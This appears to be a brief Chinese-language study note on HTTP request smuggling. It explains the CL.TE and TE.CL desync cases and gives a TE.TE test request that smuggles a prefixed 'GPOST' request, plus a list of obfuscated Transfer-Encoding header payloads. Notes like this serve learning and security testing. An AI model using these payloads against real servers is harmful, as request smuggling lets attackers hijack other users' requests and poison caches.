1.cl-te
cl=6 由于0\r\n\r\nG一共六个
此漏洞由于前端和后端的解析不同导致。后端按照te进行解析也就是到0\r\n\r\n为止,但是G留在了缓存中导致下次请求出现了GPOST
2.te-cl
这一种就是前端服务器使用TE头处理,而后端服务器使用CL头处理。
3.前端te-后端te的测试策略:
比如如下请求,前置和后端服务器可能对 TE 这个不规范的请求头的处理产生分歧:
POST / HTTP/1.1 Host: 1.com Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding[空格]: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 [空白行] [空白行]
混淆的payload:
混淆的 payload:
Transfer-Encoding: xchunked
Transfer-Encoding[空格]: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[空格]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked